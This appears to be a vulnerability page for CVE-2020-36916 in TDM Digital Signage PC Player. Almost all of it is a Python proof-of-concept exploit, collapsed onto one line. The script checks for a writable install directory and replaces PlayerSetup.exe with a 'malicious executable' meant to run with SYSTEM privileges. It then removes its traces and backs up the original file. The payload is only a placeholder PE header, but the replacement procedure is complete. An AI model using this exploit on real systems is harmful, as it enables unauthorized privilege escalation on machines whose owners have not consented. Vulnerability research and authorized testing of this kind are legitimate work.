CVE-2020-36916 | TDM Digital Signage PC Player 权限提升漏洞

#!/usr/bin/env python3 # CVE-2020-36916 PoC - TDM Digital Signage PC Player Privilege Escalation # Author: Security Research Team # Note: This is for educational and authorized testing purposes only import os import sys import shutil import subprocess def check_vulnerability(): """Check if target directory exists and is writable""" target_dir = r"C:\Program Files\TDM Digital Signage" executable = os.path.join(target_dir, "PlayerSetup.exe") if os.path.exists(target_dir): print(f"[+] Target directory found: {target_dir}") if os.access(target_dir, os.W_OK): print(f"[+] Directory is writable - VULNERABLE") return True, target_dir, executable else: print(f"[-] Directory is not writable") return False, target_dir, executable else: print(f"[-] Target directory not found") return False, target_dir, executable def create_malicious_executable(output_path): """Generate malicious executable that creates privileged reverse shell""" # This would be a compiled malicious binary in real attack # For demonstration, creating a placeholder malicious_code = b'MZ' + b'\x00' * 100 # Simple PE header placeholder try: with open(output_path, 'wb') as f: f.write(malicious_code) print(f"[+] Malicious executable created: {output_path}") return True except Exception as e: print(f"[-] Failed to create malicious executable: {e}") return False def exploit(target_dir, original_exe): """Perform the privilege escalation exploit""" backup_path = original_exe + ".bak" malicious_path = os.path.join(target_dir, "malicious.exe") print("[*] Step 1: Backing up original executable...") try: shutil.copy2(original_exe, backup_path) print(f"[+] Backup created: {backup_path}") except Exception as e: print(f"[-] Backup failed: {e}") return False print("[*] Step 2: Creating malicious executable...") if not create_malicious_executable(malicious_path): return False print("[*] Step 3: Replacing original executable...") try: shutil.copy2(malicious_path, original_exe) print(f"[+] Original executable replaced") except Exception as e: print(f"[-] Replacement failed: {e}") return False print("[*] Step 4: Cleaning up artifacts...") try: os.remove(malicious_path) print("[+] Cleanup complete") except: pass print("[!] Exploit complete - malicious code will execute with SYSTEM privileges") return True if __name__ == "__main__": print("=" * 60) print("CVE-2020-36916 Privilege Escalation PoC") print("Target: TDM Digital Signage PC Player") print("=" * 60) vulnerable, target, exe = check_vulnerability() if vulnerable: print("\n[*] Target is VULNERABLE to CVE-2020-36916") response = input("Proceed with exploit? (y/N): ") if response.lower() == 'y': exploit(target, exe) else: print("\n[-] Target is NOT vulnerable or not found")